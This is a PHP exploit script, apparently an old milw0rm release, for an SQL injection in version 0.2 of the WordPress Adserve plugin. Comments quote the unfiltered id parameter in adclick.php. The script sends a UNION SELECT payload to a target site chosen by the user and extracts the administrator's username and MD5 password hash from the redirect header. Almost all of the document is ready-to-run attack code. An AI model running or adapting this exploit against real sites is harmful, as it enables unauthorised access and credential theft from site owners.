<?
# WordPress Adserve plugin v 0.2 Sql Injection Exploit
#
# Plugin Homepage-http://www.irisco.it/?page_id=40
#
# Found by:enter_the_dragon
#

# Vuln code
#
# -In adclick.php
#
# if (isset($_GET['id'])) {
#    Header("Location: ".iri_AdServe_BannerClick($_GET['id'])
#
# -In  iri_AdServe_BannerClick function
#
# 	return $wpdb->get_var("SELECT url FROM $table_name WHERE id=$id;");
#
#
#

# Exploit
#
# id variable isnt filtered so we can inject and check the output in the Location response-header
# If exploit is succesfull Wordpress administrators login and md5 hashed password is retrieved
#
#


echo "\n";
echo "-------WordPress Adserve plugin v 0.2 Sql Injection Exploit-------"."\n";
echo "-------------------coded by : enter_the_dragon--------------------"."\n";
echo "------------------------------------------------------------------"."\n";
if ($argc!=3)
{
echo " Usage:	$argv[0] target_host wp_path \n";
echo " target_host:	Your target ex www.target.com \n";
echo " wp_path:	WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder";
echo "\n";
exit;
}


$query=$argv[1];
$query.=$argv[2];
$query.="wp-content/plugins/wp-adserve/adclick.php?";
$query.="id=-1%20union%20select%20concat(0x7c,user_login,0x7c,user_pass,0x7c)%20from%20wp_users";


if(function_exists(curl_init))
{
  $ch = curl_init("http://$query");
  curl_setopt($ch, CURLOPT_HEADER,true);
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch, CURLOPT_TIMEOUT,10);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");
  $html=curl_exec($ch);
  $returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  curl_close($ch);

  if($returncode==302)
     {
	$pattern="/\|(.*)?\|([a-z0-9]{32})\|/";
        if(preg_match($pattern,$html,$matches))
          {
           $adminusername=$matches[1];
           $adminpass=$matches[2];
	   echo "Admin Login:$adminusername\n" ;
     	   echo "Admin Pass :$adminpass\n";
	  }
     }
	else
     {
	exit ("Exploit Failed :( \n");
     }


}
else
exit("Error:Libcurl isnt installed \n");

?>

# milw0rm.com [2008-01-30]